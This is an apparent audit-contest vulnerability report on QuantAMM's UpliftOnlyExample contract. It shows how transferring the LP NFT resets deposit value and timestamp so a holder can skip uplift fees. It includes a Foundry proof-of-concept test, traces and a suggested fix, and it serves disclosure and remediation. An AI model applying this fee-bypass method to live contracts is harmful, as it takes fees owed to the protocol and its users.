QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: high
Valid

Reset of Deposit Values During NFT Transfer Enables Fee Avoidance

Summary

The UpliftOnlyExample contract incorrectly resets deposit values and timestamps during NFT transfers, allowing users to avoid uplift fees by transferring positions before withdrawal.

Vulnerability Details

https://github.com/Cyfrin/2024-12-quantamm/blob/a775db4273eb36e7b4536c5b60207c9f17541b92/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L606-L614

In UpliftOnlyExample, the afterUpdate function resets critical deposit data when an NFT is transferred.

if (_to != address(0)) {
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
}

The root of the problem is that when an NFT transfer occurs, the deposit value (lpTokenDepositValue) is reset to the current value, the deposit timestamp is also reset, and the uplift fee is reset to the default value.

This allows users to avoid uplift fees by waiting for the asset value to increase and then transferring the NFT to another address before withdrawing and then withdrawing from the new address with the reset deposit value.

POC

Add this to UpliftExample.t.sol and run it forge test --match-test testTransferNFTVulnerability -vvvv.

function testTransferNFTVulnerability() public {
// 1. Setup initial deposits
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.startPrank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
vm.startPrank(alice);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
// Verify initial state
UpliftOnlyExample.FeeData[] memory bobFeeData = upliftOnlyRouter.getUserPoolFeeData(pool, bob);
UpliftOnlyExample.FeeData[] memory aliceFeeData = upliftOnlyRouter.getUserPoolFeeData(pool, alice);
assertEq(bobFeeData.length, 1, "Bob should have 1 deposit");
assertEq(aliceFeeData.length, 1, "Alice should have 1 deposit");
// 2. Simulate price increase
int256[] memory prices = new int256[]();
prices[1] = 2e18; // Double the price of second token
updateWeightRunner.setMockPrices(pool, prices);
// 3. Transfer NFT from Bob to Alice
LPNFT lpNft = upliftOnlyRouter.lpNFT();
vm.startPrank(bob);
lpNft.transferFrom(bob, alice, 1); // Bob's tokenId
vm.stopPrank();
// 4. Verify state after transfer
bobFeeData = upliftOnlyRouter.getUserPoolFeeData(pool, bob);
aliceFeeData = upliftOnlyRouter.getUserPoolFeeData(pool, alice);
assertEq(bobFeeData.length, 0, "Bob should have no deposits");
assertEq(aliceFeeData.length, 2, "Alice should have both deposits");
// 5. Verify deposit values were reset on transfer
assertEq(aliceFeeData[1].lpTokenDepositValue, 1e18, "Deposit value should be updated");
// Fix: Use block.number instead of block.timestamp for comparison
assertEq(aliceFeeData[1].blockTimestampDeposit, uint32(block.number), "Block number should be updated");
}

Trace:

// Before the transfer, Bob's deposit had the value:
FeeData({
tokenID: 1,
amount: 2000000000000000000000,
lpTokenDepositValue: 500000000000000000, // 0.5e18
blockTimestampDeposit: 1682899200,
upliftFeeBps: 200
})
// After the transfer to Alice, the deposit value changes to:
FeeData({
tokenID: 1,
amount: 2000000000000000000000,
lpTokenDepositValue: 1000000000000000000, // 1e18 - Value reset higher
blockTimestampDeposit: 1, // Timestamp reset
upliftFeeBps: 200
})

When transferring NFT from Bob to Alice, the deposit value is reset.

// Trace shows afterUpdate call during transfer
├─ [121097] upliftOnlyRouter::afterUpdate(
bob: [0x1D96F2f...],
alice: [0x328809...],
1
)

Reset value occurs during transfer.

This shows the deposit value is reset from 0.5e18 to 1e18, the timestamp is reset from 1682899200 to 1 which allows avoiding the uplift fee because the fee calculation is based on the new (higher) deposit value and the reset timestamp.

Impact

Users can avoid paying uplift fees.

Tools Used

  • Manual review

  • Foundry

Recommendations

Maintain original deposit data during transfers.

if (_to != address(0)) {
// Preserve original deposit data
FeeData memory originalData = feeDataArray[tokenIdIndex];
poolsFeeData[poolAddress][_to].push(
FeeData({
tokenID: originalData.tokenID,
amount: originalData.amount,
lpTokenDepositValue: originalData.lpTokenDepositValue, // Keep original
blockTimestampDeposit: originalData.blockTimestampDeposit, // Keep original
upliftFeeBps: originalData.upliftFeeBps
})
);
// Remove from original owner
if (tokenIdIndex != feeDataArrayLength - 1) {
for (uint i = tokenIdIndex + 1; i < feeDataArrayLength; i++) {
feeDataArray[i - 1] = feeDataArray[i];
}
}
feeDataArray.pop();
}
Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_bypass_fee_collection_updating_the_deposited_value

Likelihood: High, any transfer will trigger the bug. Impact: High, will update lpTokenDepositValue to the new current value without taking fees on profit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!